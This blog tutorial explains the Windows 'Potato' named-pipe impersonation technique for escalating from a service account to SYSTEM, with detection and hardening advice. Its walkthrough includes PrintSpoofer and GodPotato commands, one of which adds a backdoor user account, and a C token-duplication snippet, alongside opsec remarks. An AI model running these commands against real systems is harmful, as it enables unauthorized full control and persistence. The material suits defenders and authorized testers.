Named Pipe Impersonation for Local Privilege Escalation

Named Pipe Impersonation for Local Privilege Escalation - article cover image Windows Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Windows impersonation lets a server process temporarily adopt the security context of a client that connects to it, so the server’s subsequent access checks are evaluated as the client rather than as the server’s own (often more privileged) account — the model that makes RPC and named-pipe servers able to enforce per-caller authorization without re-architecting every service. The “Potato” family of local privilege-escalation techniques (RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, and their descendants) all abuse the same underlying primitive: trick a SYSTEM-level component into connecting to a named pipe the attacker controls, then call ImpersonateNamedPipeClient to steal that connection’s security context and mint a SYSTEM token for the attacker’s own process.

The reason this class of bug keeps reappearing under new names is that the privilege it relies on, SeImpersonatePrivilege, is granted by default to a wide set of accounts that are *not* local administrators — LOCAL SERVICE, NETWORK SERVICE, and, critically, most Windows service accounts, including IIS application pool identities and SQL Server service accounts. Any code execution in the context of one of these accounts — a web shell dropped through a file-upload vulnerability, a SQL injection with xp_cmdshell, a compromised scheduled task — is one impersonation call away from full SYSTEM.

Attack Prerequisites

The technique needs a specific privilege on the current token plus a way to coerce a privileged connection:

  • SeImpersonatePrivilege held and enabled on the current process token — whoami /priv confirms this; it is the default for most Windows service accounts (NT SERVICE\*, IIS app pool identities, NETWORK SERVICE, LOCAL SERVICE) even though those accounts are not local administrators.
  • A way to make a SYSTEM-level process connect to an attacker-created named pipe — historically via COM/DCOM activation abuse (RottenPotato/JuicyPotato), or directly via the Print Spooler’s RPC interface (PrintSpoofer), or via EFSRPC (EfsPotato/GodPotato).
  • Code execution as the privileged-but-non-admin account — a web application pool, a database service, or any service running under an account that inherited the impersonation right.
  • No competing OS mitigation for the specific coercion vector used — several Potato variants were closed by hardening the local OXID resolver, which is why the toolchain evolved from RottenPotato through RoguePotato to spooler- and EFSRPC-based variants.

How It Works

ImpersonateNamedPipeClient is a documented Win32 API: a thread that owns a pipe server handle and holds SeImpersonatePrivilege can call it to have its thread token replaced with an impersonation token representing whoever most recently connected as the pipe client. If that client happens to be NT AUTHORITY\SYSTEM, the calling thread is now impersonating SYSTEM — and from an impersonating thread, DuplicateTokenEx plus CreateProcessWithTokenW (or CreateProcessAsUser) spawns a brand-new process running fully as SYSTEM, not just impersonating it. The entire chain is legitimate API usage; nothing is exploited at the memory-safety level. The only thing an attacker needs to engineer is getting SYSTEM to be the one who connects to *their* pipe.

Different Potato variants differ only in how they coerce that SYSTEM connection. The original RottenPotato abused local NTLM relay through COM/DCOM object activation, tricking a SYSTEM-run COM service into authenticating over a channel the attacker redirected to their own named pipe. JuicyPotato generalized this to a list of exploitable CLSIDs. Microsoft’s hardening of the local OXID resolver on later Windows builds broke that class, which is what pushed the technique toward RoguePotato (redirecting OXID resolution through an attacker-controlled TCP listener) and toward entirely different coercion sources: PrintSpoofer forces the Print Spooler service — which runs as SYSTEM and is enabled almost everywhere — to connect to an attacker pipe via its own RPC interface, and EfsPotato/GodPotato do the same by abusing the EFSRPC (Encrypting File System RPC) interface that is reachable even when the spooler is disabled.

The common thread across every variant is that Windows never asks “should this caller be allowed to impersonate whatever connects to this pipe” beyond the single SeImpersonatePrivilege check — once a process has that privilege, the identity of anything that dials into its pipe is fair game, and SYSTEM-run RPC services are exceptionally easy to coerce into dialing in.

Vulnerable Code / Configuration

The exploitable condition is a token right, visible with whoami /priv from inside a compromised service context (here, an IIS application pool identity after landing a web shell):

c:\inetpub\wwwroot> whoami
iis apppool\defaultapppool

c:\inetpub\wwwroot> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================= ==================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token        Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process   Disabled
SeImpersonatePrivilege        Impersonate a client after auth      Enabled
TEXT

SeImpersonatePrivilege is Enabled by default here not because of a misconfiguration in this specific application, but because Windows grants it, via the local security policy “Impersonate a client after authentication” (SeImpersonatePrivilege in User Rights Assignment), to the built-in service SIDs (NT AUTHORITY\SERVICE, NT AUTHORITY\LOCAL SERVICE, NT AUTHORITY\NETWORK SERVICE) and to Administrators on every default Windows install — a policy decision made because so many legitimate services (IIS, MSSQL, COM+) genuinely need to impersonate callers. The vulnerable configuration, in practice, is any web application, database engine, or scheduled task that allows arbitrary command execution while running under one of these built-in service identities — the privilege was never meant to be a SYSTEM-equivalence grant, but combined with a coercion primitive it is.

Walkthrough / Exploitation

With a shell as a service account that holds SeImpersonatePrivilege, the fastest path on a host running the Print Spooler is PrintSpoofer, which needs no CLSID list and no port-135 tricks:

whoami /priv | findstr /i seimpersonate
PrintSpoofer.exe -i -c cmd.exe
# New interactive cmd.exe spawned running as NT AUTHORITY\SYSTEM
PowerShell

Internally, PrintSpoofer opens a named pipe server, then talks to the spooler’s own RPC interface to make it perform an operation (RpcOpenPrinter/notification-registration on a printer path) that causes spoolsv.exe — running as SYSTEM — to connect back to the attacker’s pipe. The core of the primitive, stripped to its essence, is a single Win32 call once that connection lands:

// hPipe: server-side handle of a pipe SYSTEM has just connected to
ImpersonateNamedPipeClient(hPipe);
// Calling thread's token is now an impersonation token for SYSTEM

HANDLE hToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
HANDLE hDup;
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
                  SecurityImpersonation, TokenPrimary, &hDup);
CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE, NULL,
                        L"cmd.exe", 0, NULL, NULL, &si, &pi);
// New process handle in pi.hProcess now runs fully as SYSTEM
C

Where the spooler is disabled or patched against this specific coercion, EfsPotato/GodPotato reach the same outcome by abusing the EFSRPC interface instead, which is reachable through lsass.exe-hosted RPC regardless of spooler state:

GodPotato.exe -cmd "cmd /c whoami"
# NT AUTHORITY\SYSTEM
GodPotato.exe -cmd "cmd /c net user pwn3d Passw0rd! /add"
PowerShell

Note: Tool choice depends on OS build and which coercion service is reachable. PrintSpoofer needs the Print Spooler running; JuicyPotato is reliably blocked where OXID resolver hardening shipped; RoguePotato and the EFSRPC-based tools (EfsPotato, GodPotato) have the broadest modern compatibility. Always confirm SeImpersonatePrivilege is Enabled, not merely present, first.

Opsec: Every variant creates a named pipe with a distinctive naming pattern and spawns a SYSTEM process whose parent is an unusual service process (spoolsv.exe, lsass.exe) rather than a normal parent — both are strong, well-documented EDR signals. Sysmon Event ID 17/18 (pipe created/connected) and Event ID 1 process-creation with a service-process parent are the first places defenders look; expect detection on mature estates even when the binary itself is unsigned-but-unflagged.

Detection and Defense

The underlying API is legitimate, so defense focuses on limiting who holds the privilege and catching the coercion pattern:

  • Minimize SeImpersonatePrivilege assignment — do not grant it to custom service accounts beyond what the built-in defaults already provide, and avoid running application code under LOCAL SYSTEM/NETWORK SERVICE contexts that don’t need it.
  • Patch and, where feasible, disable the Print Spooler on servers that don’t print, closing off the PrintSpoofer coercion path specifically.
  • Monitor Sysmon Event ID 17/18 (PipeEvent create/connect) for pipes with random or tool-characteristic names connected to by SYSTEM processes shortly after connection by a low-privilege process.
  • Alert on SYSTEM-owned processes whose parent is spoolsv.exe, svchost.exe (EFS/RPC service host), or a web/database service process — this parent-child relationship is not normal.
  • Run web application pools and SQL Server service accounts with the least privilege the workload actually requires, and isolate them from direct OS command execution wherever possible (parameterized queries, disabling xp_cmdshell, WAF/upload restrictions).

Real-World Impact

The Potato family has been a mainstay of Windows local privilege escalation since RottenPotato’s public release in 2016 and remains one of the first techniques tried after landing a shell as an IIS application pool or SQL Server service account in both red-team engagements and CTF competitions. Its longevity comes from the fact that Microsoft has only ever patched individual coercion vectors, not the underlying SeImpersonatePrivilege design — every fix has been answered within months by a new coercion source, from COM/DCOM to the spooler to EFSRPC.

Conclusion

Named-pipe impersonation is not a memory-corruption bug but a chain of legitimate APIs — ImpersonateNamedPipeClient, DuplicateTokenEx, CreateProcessWithTokenW — stitched together with a coerced SYSTEM connection. Because the privilege it depends on is a default grant to common service accounts, the durable defense is minimizing which accounts run arbitrary code with SeImpersonatePrivilege enabled, not waiting for the next coercion vector to be patched.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL